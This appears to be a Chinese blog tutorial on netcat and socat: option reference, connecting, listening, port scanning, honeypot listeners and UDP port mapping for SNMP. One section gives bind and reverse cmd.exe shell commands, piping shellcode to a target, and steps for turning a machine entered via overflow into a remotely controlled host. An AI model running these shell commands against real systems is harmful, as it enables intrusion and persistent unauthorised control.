• nc -v -w 2 sjisde828v -z 10001


    参数介绍:

    *nc.exe -h*即可看到各参数的使用方法。

    基本格式:nc [-options] hostname port[s] [ports] ...

    nc -l -p port [options] [hostname] [port]

    -d 后台模式

    -e prog 程序重定向,一旦连接,就执行 [危险!!]

    -g gateway source-routing hop point[s], up to 8

    -G num source-routing pointer: 4, 8, 12, ...

    -h 帮助信息

    -i secs 延时的间隔

    -l 监听模式,用于入站连接

    -L 连接关闭后,仍然继续监听

    -n 指定数字的IP地址,不能用hostname

    -o file 记录16进制的传输

    -p port 本地端口号

    -r 随机本地及远程端口

    -s addr 本地源地址

    -t 使用TELNET交互方式

    -u UDP模式

    -v 详细输出--用两个-v可得到更详细的内容

    -w secs timeout的时间

    -z 将输入输出关掉--用于扫描时

    端口的表示方法可写为M-N的范围格式。

    =====================================================================================================

    基本用法:

    大概有以下几种用法:

    1)连接到REMOTE主机,例子:

    格式:nc -nvv 192.168.x.x 80

    讲解:连到192.168.x.x的TCP80端口

    2)监听LOCAL主机,例子:

    格式:nc -l -p 80

    讲解:监听本机的TCP80端口

    3)扫描远程主机,例子:

    格式:nc -nvv -w2 -z 192.168.x.x 80-445

    讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

    4)REMOTE主机绑定SHELL,例子:

    格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe

    讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

    5)REMOTE主机绑定SHELL并反向连接,例子:

    格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354

    讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

    以上为最基本的几种用法(其实NC的用法还有很多,

    当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

    =====================================================================================================

    高级用法:

    6)作攻击程序用,例子:

    格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80

    格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt

    讲解:连接到192.168.x.x的80端口,并在其管道中发送*c:exploit.txt*的内容(两种格式确有相同的效果,

    真是有异曲同工之妙)

    附:*c:exploit.txt*为shellcode等

    7)作蜜罐用[1],例子:

    格式:nc -L -p 80

    讲解:使用*-L*(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

    8)作蜜罐用[2],例子:

    格式:nc -L -p 80 > c:log.txt

    讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>*

    改为*>>*即可以追加日志

    附:*c:log.txt*为日志等

    9)作蜜罐用[3],例子:

    格式1:nc -L -p 80 < c:honeypot.txt

    格式2:type.exe c:honeypot.txt|nc -L -p 80

    讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其

    管道中

    附:*c:honeypot.txt*为欺骗数据等

    二、

    如果你通过溢出进入了别人的机器,就可以运行:

    nc -l -p 123 -e cmd.exe

    或者是: nc -l -p 123 -t

    作用都是以cmd.exe来响应到机器上123端口的连接.

    这样就把溢出的主机变成了一台telnet肉鸡了!

    你也可一用命令让肉鸡主动连接你的主机,假设我的IP是192.168.0.1 .

    在肉鸡上运行: nc -e cmd.exe 192.168.0.1 777

    再在本地机器上运行: nc -l -p 777

    意思是让肉鸡将cmd.exe(就是个shell)主动响应到你电脑的777端口。

    你再在本地机上监听777端口,这样就进入了对方的cmd了。

    这也微十时毫反弹端口式木马的原理了。

    二、使用nc来映射UPD端口

    假设被监控服务器的IP为192.168.1.1;用于端口映射的主机为某个公网IP如59.1.1.1;需要映射的端口为UDP 161转发端口设为1161(自定义建议1024以上端口)

    在端口映射服务器上操作,要安装nc,一般系统都会安装;

    【注:nc存在安全漏洞,一定要设定防火墙】

    首先使用mkfifo建立管道文件

    #mkfifo /tmp/snmpfifo

    通过nc建立端口映射 -l为监听模式 -u为UDP -p为本地端口;将内网监控161端口映射到本地的1161端口上;

    #nc -l -u -p 1161 < /tmp/snmpfifo | nc -u 192.168.1.1 161 > /tmp/snmpfifo

    查看netstat 1161是否监听

    #netstat -nlp |grep :1161

    udp 0 0 0.0.0.0:1161 0.0.0.0:* 31472/nc

    在监控服务器上进行测试是否能采集到数据:

    #snmpwalk -c public -v2c 59.1.1.1:1161 if

    IF-MIB::ifIndex.1 = INTEGER: 1

    IF-MIB::ifIndex.2 = INTEGER: 2

    IF-MIB::ifIndex.3 = INTEGER: 3

    IF-MIB::ifIndex.4 = INTEGER: 4

    IF-MIB::ifDescr.1 = STRING: lo

    IF-MIB::ifDescr.2 = STRING: eth0

    ….

    设定成功;这里存在一个问题就是nc监听的端口每次一连接就会挂起,采取一个比较笨的办法就是写个restart.sh脚本放在crontab中每分钟执行一次;

    产生该问题的主要原因我在下面讲socat的时候会分析的;

    针对snmp采集这样是没有问题,如果dns服务就不行啦!

    三、采用nc升级版本的socat来实现UDP端口映射

    软件包下载地址:http://www.dest-unreach.org/socat/download/

    安装无非就是configure make make install

    socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等

    这里不一一介绍啦!

    有兴趣可以查看官方文档:http://www.dest-unreach.org/socat/doc/socat.html

    我们说说如何使用socat建立UPD端口映射

    #socat udp4-listen:11161,reuseaddr,fork UDP:[监控服务器IP]:161

    udp4-listen:在本地建立的是一个udp ipv4协议的监听端口;

    reuseaddr,绑定本地一个端口;

    fork,设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听;

    【注:nc就是因为缺少fork模式,所以每次监听只能处理一次连接】

    ps:无论是nc方式还是socat方式,启动监听模式都是在前端占用一个shell,所以请在后台执行或者使用screen工具等等!

  • 相关阅读:
    LeetCode 769. Max Chunks To Make Sorted
    LeetCode 845. Longest Mountain in Array
    LeetCode 1059. All Paths from Source Lead to Destination
    1129. Shortest Path with Alternating Colors
    LeetCode 785. Is Graph Bipartite?
    LeetCode 802. Find Eventual Safe States
    LeetCode 1043. Partition Array for Maximum Sum
    LeetCode 841. Keys and Rooms
    LeetCode 1061. Lexicographically Smallest Equivalent String
    LeetCode 1102. Path With Maximum Minimum Value
  • 原文地址:https://www.cnblogs.com/kevin-boy/p/3238197.html
Copyright © 2020-2023  润新知